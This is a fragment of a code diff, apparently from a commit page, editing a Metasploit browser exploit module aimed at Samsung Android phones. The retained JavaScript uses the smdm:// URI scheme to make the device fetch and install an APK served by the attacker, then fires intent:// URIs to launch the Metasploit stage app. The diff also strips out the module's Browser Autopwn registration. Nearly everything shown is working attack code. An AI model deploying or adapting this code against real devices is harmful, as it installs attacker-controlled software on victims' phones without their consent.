9
9
class Metasploit3 < Msf ::Exploit ::Remote
10
10
11
11
include Msf ::Exploit ::Remote ::BrowserExploitServer
12
- include Msf ::Exploit ::Remote ::BrowserAutopwn
13
-
14
- autopwn_info (
15
- :os_name => OperatingSystems ::Match ::ANDROID ,
16
- :arch => ARCH_ARMLE ,
17
- :javascript => true ,
18
- :rank => ExcellentRanking ,
19
-
20
- # For BAP we only allow whitelisted devices/firmwares
21
- # that we have tested:
22
- # - Samsung S4
23
- :vuln_test => %Q|
24
- is_vuln = navigator.userAgent.match(
25
- /SAMSUNG GT-I9505/
26
- );
27
- |
28
- )
29
12
30
13
# Hash that maps payload ID -> (0|1) if an HTTP request has
31
14
# been made to download a payload of that ID
@@ -56,6 +39,7 @@ def initialize(info = {})
56
39
'Targets' => [ [ 'Automatic' , { } ] ] ,
57
40
'DisclosureDate' => 'Nov 12 2014' ,
58
41
'DefaultTarget' => 0 ,
42
+
59
43
'BrowserRequirements' => {
60
44
:source => 'script' ,
61
45
:os_name => OperatingSystems ::Match ::ANDROID
@@ -150,18 +134,18 @@ def exploit_js
150
134
151
135
function enroll() {
152
136
var loc = window.location.href.replace(/[/.]$/g, '');
153
- window .location = 'smdm://#{ rand_word } ?update_url='+
137
+ top .location = 'smdm://#{ rand_word } ?update_url='+
154
138
encodeURIComponent(loc)+'/#{ payload_id } .apk';
155
139
}
156
140
157
141
function killEnrollment() {
158
- window .location = "intent://#{ rand_word } ?program="+
142
+ top .location = "intent://#{ rand_word } ?program="+
159
143
"#{ rand_word } /#Intent;scheme=smdm;launchFlags=268468256;end";
160
144
setTimeout(launchApp, 300);
161
145
}
162
146
163
147
function launchApp() {
164
- window .location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
148
+ top .location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
165
149
}
166
150
167
151
enroll();
@@ -170,10 +154,6 @@ def exploit_js
170
154
|
171
155
end
172
156
173
- def apk_url
174
- "#{ get_uri . chomp ( '/' ) } /#{ rand_word } .apk"
175
- end
176
-
177
157
def rand_word
178
158
Rex ::Text . rand_text_alphanumeric ( 3 +rand ( 12 ) )
179
159
end
0 commit comments